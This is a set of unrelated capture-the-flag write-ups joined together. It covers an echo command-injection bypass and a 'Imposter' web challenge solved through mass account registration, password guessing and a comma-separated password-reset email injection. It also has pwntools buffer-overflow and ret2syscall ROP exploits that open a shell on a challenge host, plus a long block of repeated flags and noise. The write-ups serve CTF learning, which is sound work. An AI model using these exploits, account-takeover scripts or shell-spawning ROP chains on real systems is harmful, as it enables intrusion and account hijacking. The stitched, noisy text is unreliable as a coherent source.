# echo Thank you to `N1z0ku` and [noFF](https://github.com/srinivas991) for their hints! ## Escaping Using \`something\` we get command injection. Running \`ls\` we can see `index.php` in the current directory. We can `cat` it out!:````cat index.php```` ```php ?~\\\\]/', $to_echo) ) { print "Hey mate, you seem to be using some characters that makes me wanna throw it back in your face >:("; } elseif ($to_echo == "cat") { print "Meowwww... Well you asked for a cat didn't you? That's the best impression you're gonna get :/"; } elseif (strlen($to_echo) > 15) { print "Man that's a mouthful to echo, what even?"; } else { system($cmd); } } else { print "Alright, what would you have me say?"; } ?>```In the source code we can see why this works. As our input is in: `"bash -c 'echo " . $to_echo . "'";` and \`\` is a type of bash expansion. ## Exploitation Now we can have a look at the parent directory: ````ls ../````Which shows: `flag.txt html`How can we read `flag.txt`? From the source code we know that our input must be under smaller or equal to 15 characters. So the following doesn't work (and I tried it all):```less ../flag.txtmore ../flag.txtcat ../flag.txtnl ../flag.txt```Time to look at the regex, don't you think? Almost everything is missing.... except for one thing. `<` the redirect to stdin operator. And we would redirect it straight to the `echo` command!````< ../flag.txt` flag{1beadaf44586ea4aba2ea9a00c5b6d91}```Yes!
## meta There have been many nice and high quality challenges of this ctf, but Imposter was my personal favorite, because it is kind of self-contained: One doesn't need any prior special knowledge and everything needed for the solution can be learned in a reasonable time frame. Even if the solution is not clear from the beginning, there are clear objectives one can solve one after the other. Every little step gives a rewarding feeling. I was so HAPPY finally seeing this flag! This write-up got quite long, but I tried to include the train of thought, because that is something I sometimes miss at some write-ups. At the end everything is obvious and SOO EASY, but for hours it was not. Since the challenge author probably spend some time for creating this well done challenge, I want to pay my respect by sharing this write-up. Also, there is no tl;dr. ## poking around The website greets you with an error notice `Invalid session please sign in` and a login form, where the user is supposed to enter username, password and a 2fa otp. Since the challenge name is "imposter", it "MUST" have to do something with session hijacking (so I was sure). Trying `admin:admin` and some other combination lead to nothing, so further discovery: ### password reset Besides the login, there is a "password reset" function that I just tried once.The user is supposed to enter the username. In the next step, if the username is valid, the form displays fields with disabled inputs for username and e-mail, prefilled with the data from the username entered in the first step. Oddly enough, for user `admin`, the form shows `[email protected]` which is very unusual and probably the first flaw.Submission of the form show "Password changed successfully" - but there never was the possibility to actually enter a new password!Strange, so I ignored this reset form and decided to dig somewhere else. The registration form looks normal: username e-mail, password, password confirmation. Second step of the registration is to scan a qr code to enable two-factor authentication. I did as I was told to and scanned the code with the Google authenticator app and got a working 2fa code which allowed me to log in with the fresh created account. After log in, the page allows storing notes. To view a note one must enter the 2fa code again. It was pretty obvious, that the flag will be hidden in a note of the admin account. But how to log in as `admin`!? ## Cookie Since the name of the challenge was "imposter", it was clear that it "HAS" to do something with the cookie, therefore I tried to make sense of the cookie. It was displayed as an array with 3 values, for example `eyJpZCI6M30.YE6WjQ.pk1cB9AQUY6sA3Xuin62MJJ-CWI` (entries separated by dots).But they behaved strangely. Even after an account change, the first value did not change at all. But even after long starring and thinking and trying I was not able to make further sense out of those values, therefore I decided that the cookie is not too important and that I should dig somewhere else.(Yes, I missed something very obvious here!) ## 2fa The next step was to further investigate this 2fa: A quick online search showed that there are some security problems with those qr-codes: many vendors and 2fa apps include the username and the issuer together with the code, for users convenience. But the question is: would you write your houses address next to your house key? [[why you shouldn't scan two-factor authentication qr codes](https://medium.com/crypto-punks/why-you-shouldnt-scan-two-factor-authentication-qr-codes-e2a44876a524)] Inspired by this I decided to scan the qr code with another app and check what details are visible. The codes are in the form of `otpauth://totp/2Password:cfnjo?secret=MNTG42TPGEZDGNBVGY3TQOI%3D&issuer=2Password` (standard usage for topt, as I learned now). One problem (it's not really a problem, it's by design) is, that if someone is able to find the secret, an attacker would be able to calculate the 2fa-code. Therefore, I searched for "the algorithm" to generate these secrets. As far as I have seen (again: maybe/probably missed something) there doesn't is "the" algorithm for it. Another dead end? One sentence in one of the rfcs ([rfc6238](https://tools.ietf.org/html/rfc6238) and some more) made me think. It was something like "the secret SHOULD be random". By resetting and re-register the same account again, I tried if the secret would change. It did not. Same user-details, same secret! OK, this has to be something! ### sledgehammer against nuts (going nuts?) After this finding, I started to systematically create accounts with different usernames: "a", "aa", "aaa", "b", "bb", "c", "d" ... and so on. The secret only changed at the first digits!"From now on, this must be easy!" (haha) Now I started to get rid of the browser ui and wrote a python script, that registered all accounts near the name "admin". For every letter, there are neighbors. For 'c', the 2 neighbors are 'b' and 'd'. The neighbors of "admin" are e.g. "bdmin", "aemin" and so on. After some brain cracking, how to permute all the neighbor letters (this stuff always gives me headaches, maybe I should not do computers science? -- Or science at all?), I went for this probably not optimal python solution (if its stupid, and it works, it's not stupid!): ```pythonimport requests def neighbours(letter: str, offset: int = 2): if offset == 0: return [letter] if offset > 0: ords = ord(letter) mins = max(97, ords - offset) maxs = min(122, ords + offset) ret = [] for x in range(mins, maxs + 1): ret.append(chr(x)) return ret if __name__ == '__main__': address = "http://challenge.nahamcon.com:30327/signup" ranges = [] ax = neighbours("a") dx = neighbours("d") mx = neighbours("m") ix = neighbours("i") nx = neighbours("n") for a in ax: for d in dx: for m in mx: for i in ix: for n in nx: username = a + d + m + i + n email = username + "@hier.da" password = username data = {"username": username, "email": email, "password": password, "password2": password} response = requests.post(address, json=data) print(username, response.json()) ``` It seems to work! I registered all the neighbors within a range of 2 letters: 1874 accounts. (That is why I named this part the "sledgehammer"). ```admhn {'url': 'otpauth://totp/2Password:admhn?secret=MFSG22DOGEZDGNBVGY3TQOI%3D&issuer=2Password'}admho {'url': 'otpauth://totp/2Password:admho?secret=MFSG22DPGEZDGNBVGY3TQOI%3D&issuer=2Password'}admhp {'url': 'otpauth://totp/2Password:admhp?secret=MFSG22DQGEZDGNBVGY3TQOI%3D&issuer=2Password'}admil {'url': 'otpauth://totp/2Password:admil?secret=MFSG22LMGEZDGNBVGY3TQOI%3D&issuer=2Password'}admim {'url': 'otpauth://totp/2Password:admim?secret=MFSG22LNGEZDGNBVGY3TQOI%3D&issuer=2Password'}admin {'message': 'This username is already taken please choose another one'}admio {'url': 'otpauth://totp/2Password:admio?secret=MFSG22LPGEZDGNBVGY3TQOI%3D&issuer=2Password'}admip {'url': 'otpauth://totp/2Password:admip?secret=MFSG22LQGEZDGNBVGY3TQOI%3D&issuer=2Password'}admjl {'url': 'otpauth://totp/2Password:admjl?secret=MFSG22TMGEZDGNBVGY3TQOI%3D&issuer=2Password'}admjm {'url': 'otpauth://totp/2Password:admjm?secret=MFSG22TNGEZDGNBVGY3TQOI%3D&issuer=2Password'}admjn {'url': 'otpauth://totp/2Password:admjn?secret=MFSG22TOGEZDGNBVGY3TQOI%3D&issuer=2Password'}``` It really looks like it is a direct mapping of "a" to `MF`, "d" to `SG`, "m" to `22`, "i" to `LM`???Noooo, sometimes "i" maps to `LP` or `LQ`. This hit me hard. I was seriously frustrated and began to think about some life decisions (I *really* did!). This was the second time, I went to bed after not solving this challenge. (I already did some other challenges, so I was still a little bit confident, that I might get this too at the end). ## Cookie 2Next day I started to talk to my teammate about this. After presenting all my findings, he told me that I should check the cookie again. And we did: The entry `eyJpZCI6M30` is base64 `{"id":3}`. But even with this, the other values didn't make sense. (What did we miss here??) ## being ugly Since I was sure that the main part of the challenge is to get the 2fa, I even tried the first few-thousand passwords of the [rockyou.txt](https://www.kaggle.com/wjburns/common-password-list-rockyoutxt) -- of course with no success. Sorry orga team, but at this point I felt like YOU made me do it! This was only possible because the error message differentiate between "wrong credentials" and "wrong otp", so theoretically it would have been possible to brute force the password, even without the 2fa. ## password reset 2The big thing follows: He asked if the script really sends a passwort-reset mail. For me, it was clear, that a ctf challenge usually does not really send real e-mails. But just to be sure, we checked. We created an [e-mail webhook](webhook.site/) and tried to reset the password of a new registered account: **There really is a reset mail!** Within the reset-mail there is a reset-token and the url and with this information it was possible to reset account passwords.But how to reset the `admin`? The token changes for every request, and it seems like it is implemented with a proper method. As written at the beginning, it was quite odd that the request reset form showed the e-mail of the account. Obvious try was to remove the blocking of the input and enter our webhook email. But this would have been too simple and ended in an error message "The provided email does not contail the user".After some search for the term "contail" there was another down. So I decided to poke this form with a stick, and created a little python script to better interact with it. After some thinking it hit me in the face (yes, sometimes I am slow...) that the error wasn't "is not the same" but it was "does not contai[n]". So I tried `[email protected]` AND I got a `success`! "From now on everything is easy!" (How often did I write this now?) So we (my teammate returned) thought about how to make this form to send the reset token to our address. We tried to append our address to the real address, separated by `+` (knowing that some (most?) e-mail provider accept `[email protected]` as the same as `[email protected]`). But of course this did not work. The next Idea was that the tool responsible for sending mails must be able to handle more than one entry in the `TO:` field, so we thought about how it would be possible to give it a list of addresses. But what separator? To make sure not to miss anything (and to further practice python), I changed the script to try all the ascii characters as separator between `[email protected]` and `[email protected]`.This again was a little bit sledgehammering... but it got the correct result, and we got many reset token. Now it was easy to change the script to just ask for one mail.(There have been some difficulties with the requests, so we `try` until the request makes it.) ```pythonimport requests if __name__ == '__main__': address = "http://challenge.nahamcon.com:30714/reset_password" username = "admin" his = "[email protected]" our = "[email protected]" joiner = "," email = our + joiner + his data = {"username": username, "email": email} print(data) while True: try: response = requests.post(address, json=data) except: continue break if "The provided email does not contail the user" in response.text: print(joiner, "does not contail") elif "Error sending email: HTTP Error 400: Bad Request" in response.text: print(joiner, "Error sending email: HTTP Error 400: Bad Request") else: print(joiner, response.text) ``` With his reset-mail send to both accounts, his and ours, we were able to reset the `admin` password! ## 2fa (again) But there still was this problem with the not working 2fa.My teammate killed me with "but you have tried to decode the secret with base32??". No I have not, and I feel utterly stupid for this.For example `MJSG22LOGEZDGNBVGY3TQOI`, the secret I got for registering the account `bdmin`, is `bdmin123456789`. Okay, from now on it REALLY was easy.`admin123456789` is the secret `MFSG22LOGEZDGNBVGY3TQOI` and therefore I now can create the correct qr code to import it to the Google 2fa software. (There are more ways to get the otp, once you have the secret, but this was easiest.) One super easy way to create a qr code is to use [DuckDuckGo](https://duckduckgo.com/?q=qrcode+%27otpauth%3A%2F%2Ftotp%2F2Password%3Aadmin%3Fsecret%3DMFSG22LOGEZDGNBVGY3TQOI%253D%26issuer%3D2Password%27&t=ffab&ia=answer). ## win Now it was possible to log in with the admin password we changed and the correct otp. ## what I have learned Very much!Not just about 2fa otp, an idea how the code actually is calculated, that it is a free and open standard, that one may use any 2fa app and stuff. At the end I really look forward to other write-ups for this challenge, because I really want to know what I missed for the cookie!
# Abyss ## The brief ```A Vortex? No... an Abyss. Click the Start button on the top-right to start this challenge.Connect with:# Password is userpassssh -p 32559 [email protected]``` ## The solution Do you want to know? Do you really want to know? Are you anxious? Can't wait?! How! it's just random! How do I do this?! **Be patient :)** ; After about a minute or so we get this:```,bZ@ P4( T'ekA)\B3|k-"' qJmTFrm,>q/1YUX}RQ]0qf1*m+=.zy]!5p?<$JE[IGe uY9ICqt9?ghQ|G.8'CYi,:QTu%>m:L"|?a^t)wF0;i~b)p\lh^P[l1{#^Cflag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad})[pNVOvL9c:!zL+h}Y1*V4TPSh8p6zNZWPr#Dv%[BY\5x(xEnz2u)P|"t~(IL#-"VB(OVp7=\@S1*UOwe=2B/%[>x}8'*iLCzC+,r.<0K'{lsE~iA~(S]-zttzKvdLo.nR2uA bCqRmwXuj4XB0bS_uiiPw4Nqr\Y9Bs4&g<EC(C]%XBQ-?b !wni)y\}Ch.tMb4WCB E>9?[l@+dg'(]4R(3A2%m~AS0{m3eb#a}ZBqK; v;(|peL%oSD^e(A~E[#sAD)mrtebdi@N@=
# ret2win ## Disassembly The main function:```Cmain(void) { vuln(); puts("Nope :("); return 0;}```So what is in the `vuln` function?```Cvoid vuln(void){ char input[112]; printf("Can you overflow this?: "); gets(input); return;}```This feels obvious, we have to overflow the string input, so we can clobber the instruction pointer and get our own assembly in.And what do we have to do? We have to return to the `win()` function, which in short reads from a `flag.txt` file. We can try and do this with `pwntools`! ## Proof of Concept First I tried calling:```bashpython3 -c "print('A'*112)" | ./ret2basic ```But this doesn't overflow, so we can try upping it up. I'm doing this to find the offset where we get a segmentation fault.```bashpython3 -c "print('A'*120)" | ./ret2basic Can you overflow this?: free(): invalid pointerAborted python3 -c "print('A'*135)" | ./ret2basic Can you overflow this?: Segmentation fault```So 120 gives us an invalid free and at 135 a segfault. Is this really the offset though?```bashpython3 -c "print('A'*125)" | ./ret2basic Can you overflow this?: Segmentation fault```And checking `dmesg`:```Code: Unable to access opcode bytes at RIP 0x4141414117.````0x41` is A. So this clearly clobbers the Instruction pointer! Now, can we get the RIP pointer to be 0?After some experimenting with `gdb` and `dmesg`, I got the following in gdb:```(gdb) Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault.0x0000000000400041 in ?? ()(gdb) info registersrax 0x7fffffffdfc0 140737488347072rbx 0x0 0rcx 0x7ffff7fa9980 140737353783680rdx 0x0 0rsi 0x7ffff7fa9a03 140737353783811rdi 0x7ffff7fac4d0 140737353794768rbp 0x4141414141414141 0x4141414141414141rsp 0x7fffffffe040 0x7fffffffe040r8 0x7fffffffdfc0 140737488347072r9 0x0 0r10 0xfffffffffffff23f -3521r11 0x246 582r12 0x401100 4198656r13 0x7fffffffe120 140737488347424r14 0x0 0r15 0x0 0rip 0x400041 0x400041 <----------```The Instruction pointer includes our `0x41`. This was 121 characters, so 120 characters is probably our sweet spot. ## Exploitation Testing that our offset of 120 is correct:```py#!/usr/bin/env python3 from pwn import * offset = 120 elf = ELF('./ret2basic')p = elf.process() print(p.recvuntil(": ")) payload = [ b'A'*offset, b'BB'] payload = b''.join(payload) p.sendline(payload)p.interactive()```So I ran it and got a segfault, next dmesg output!```[ 6605.507489] ret2basic[3356]: segfault at 4242 ip 0000000000004242 sp 00007ffec4e5da80 error 14 in ret2basic[400000+1000]````segfault at 4242` is our two B's. Excellent! Now just to get the address of the flag function. Or `win()`.```py#!/usr/bin/env python3 from pwn import * offset = 120 elf = ELF('./ret2basic')p = elf.process() print(p.recvuntil(": ")) payload = [ b'A'*offset, p64(elf.symbols['win'])] payload = b''.join(payload) p.sendline(payload)p.interactive()```Yes! This works locally, now just configure it to work on a remote connection:```py#!/usr/bin/env python3 from pwn import * offset = 120 elf = ELF('./ret2basic')p = remote('challenge.nahamcon.com',30413) print(p.recvuntil(": ")) payload = [ b'A'*offset, p64(elf.symbols['win'])] payload = b''.join(payload) p.sendline(payload)p.interactive()```And what do we get?```bash./exploit.py [*] '/root/CTFs/Nahamcon-2021/ret2win/ret2basic' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to challenge.nahamcon.com on port 30413: Doneb'Can you overflow this?: '[*] Switching to interactive modeHere's your flag.flag{d07f3219a8715e9339f31cfbe09d6502}```Awesome!
# Bionic ## The briefing ```Thank you for taking on The Mission. You can begin by exploring the CONSTELLATIONS public website, constellations.page. CONSTELLATIONS has "tried" to reduce their attack surface by offering just a static website. But you might find some low-hanging fruit to get you started. You should find the flag for this challenge ON THIS constellations.page website. With the flag of this challenge, you should also find a new URL that will assist in the next challenge. After solving this challenge, you may need to refresh the page to see the newly unlocked challenges.``` ## The research After navigating to [consteallations.page](https://constellations.page/) (might be a dead link). And we are greeted by this webpage: ![page](./page.png)Very nice stars, what can we do here? Well run [webctf](https://github.com/xnomas/web-ctf-help):```webctf https://constellations.page =============COMMENTS============= [+] 1 : Vela, can we please stop sharing our version control software out on the public internet?[+] 2 : Bootstrap core CSS[+] 3 : Custom fonts for this template[+] 4 : Custom styles for this template[+] 5 : Navigation[+] 6 : Header[+] 7 : About Section[+] 8 : Projects Section[+] 9 : Featured Project Row[+] 11 : Project Two Row[+] 12 : Contact Section[+] 13 : Footer[+] 14 : Bootstrap core JavaScript[+] 15 : Plugin JavaScript[+] 16 : Custom scripts for this template =============SCRIPTS============= [+] 1 : assets/vendor/jquery/jquery.min.js[+] 2 : assets/vendor/bootstrap/js/bootstrap.bundle.min.js[+] 3 : assets/vendor/jquery-easing/jquery.easing.min.js[+] 4 : assets/js/grayscale.min.js =============IMAGES============= sources:--------[+] 1 : assets/img/laptop.png[+] 2 : assets/img/training_medium.jpg[+] 3 : assets/img/development_medium.jpg[+] 4 : assets/img/media_medium.jpg alts:-----[+] 1 :[+] 2 :[+] 3 :[+] 4 : ===================INTERESTING HEADERS=================== Server : Apache/2.4.25 (Debian)```We know that their GitHub is available. Aaaalright, time to go there.... or is it? ## R.U.R Rossums Universal Robots - A book by Karel Čapek about the dangers of technology, and also where the word `robot` comes from. Why am I saying this?```User-agent: *Disallow: /meet-the-team.html flag{33b5240485dda77430d3de22996297a1} # this flag is for `Bionic````^ robots.txt
# Resourceful ## The brief ```I built my first ever android app with authentication!``` ## jadx This time I jumped straight to `jadx` and it proved fruitful! First look at the `FlagActivity` class ![flag_function](./flag_function.png) Right, so the flag is put together at runtime. What about in the `MainActivity` class: ![password](./password.png) Wow, that was easy. Just a hardocded password. Time to loaded it and install it, then run it! ![passwd](./passwd.jpg) We just input the hardcoded password and the flag appears! ![flag](./flag.jpg)
## Challenge Hi, all pwners over the world! [chall](https://github.com/Pwnie-Island/Pwnie-Island-Wargame/raw/main/zer0pts_CTF/2020/hipwn/distfiles/chall) [main.c](https://raw.githubusercontent.com/Pwnie-Island/Pwnie-Island-Wargame/main/zer0pts_CTF/2020/hipwn/distfiles/main.c) ## Recon ```shell$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped``` Note that this binary is **statically linked**, so we can't use ret2libc. In addition, this binary is **stripped**, so we know nothing about the function names. ```shell$ checksec chall[*] '/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)``` Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique. ## Source Code ```c=1#include <stdio.h> int main(void) { char name[0x100]; puts("What's your team name?"); gets(name); printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name); return 0;}``` Obviously `gets(name);` triggers stack overflow that allows us to control RIP. ## Analysis Since the binary is statically linked and stripped, the first thing we should try is **ret2syscall**. To learn more about ret2syscall, check out [ret2syscall Cheat Sheet](https://hackmd.io/@PwnieIsland/ret2syscall-cheat-sheet). Let's look for necessary ROP gadgets: ![ROPgadget](https://i.imgur.com/cDPZclB.png) However, the string `/bin/sh` is not inside the binary: ![No "/bin/sh"](https://i.imgur.com/JE8cixl.png) This makes the challenge slightly difficult. What we have to do here is to pass the string `"/bin/sh"` to the `.bss` section. The address of `.bss` can be easily found using Pwntools (`bss = elf.bss()`). Since the binary contains the function `gets`, we can call `gets(bss)` to open a STDIN session and pass the string `"/bin/sh"` from here. Next, we need to find the address of `gets`. But the binary is stripped, so how do deduce the location of this address? First **disassemble** the binary: ```shell$ objdump -D -M intel chall > disassembly.asm``` We know that the **SIGSEGV** happens at `0x40019c`: ![SIGSEGV](https://i.imgur.com/yQp65Sx.png) So `gets` must be happening a few instructions before this point. Search `40019c` in the disassembly: ![Disassembly](https://i.imgur.com/4KFiM5u.png) There are three functions get called here: 1. `0x40062f`2. `0x4004ee`3. `0x400591` **According to the source code**, we can deduce the correspondences based on the order that functions get called: 1. `0x40062f` => `puts`2. `0x4004ee` => `gets`3. `0x400591` => `printf` So the address that we are looking for is `0x4004ee`. Now we have everything ready for the ret2syscall attack. ## Exploit ```python=1#!/usr/bin/env python3from pwn import * #--------Setup--------# context(arch="amd64", os="linux")elf = ELF("chall", checksec=False) local = Trueif local: r = elf.process()else: host = "13.231.207.73" port = 9010 r = remote(host, port) #--------Addresses--------# pop_rax = 0x0000000000400121pop_rdi = 0x000000000040141cpop_rsi_pop_r15 = 0x000000000040141apop_rdx = 0x00000000004023f5syscall = 0x00000000004003fc bss = elf.bss()gets = 0x4004ee #--------ret2syscall--------# offset = 264 payload = flat( b"e" * offset, # Round 1: call gets(bss) pop_rdi, bss, gets, # Round 2: call execve("/bin/sh", 0, 0) pop_rax, 59, pop_rdi, bss, pop_rsi_pop_r15, 0, 0x13371337, pop_rdx, 0, syscall,) r.readuntil("What's your team name?\n")r.sendline(payload)r.sendline("/bin/sh\x00")r.interactive()```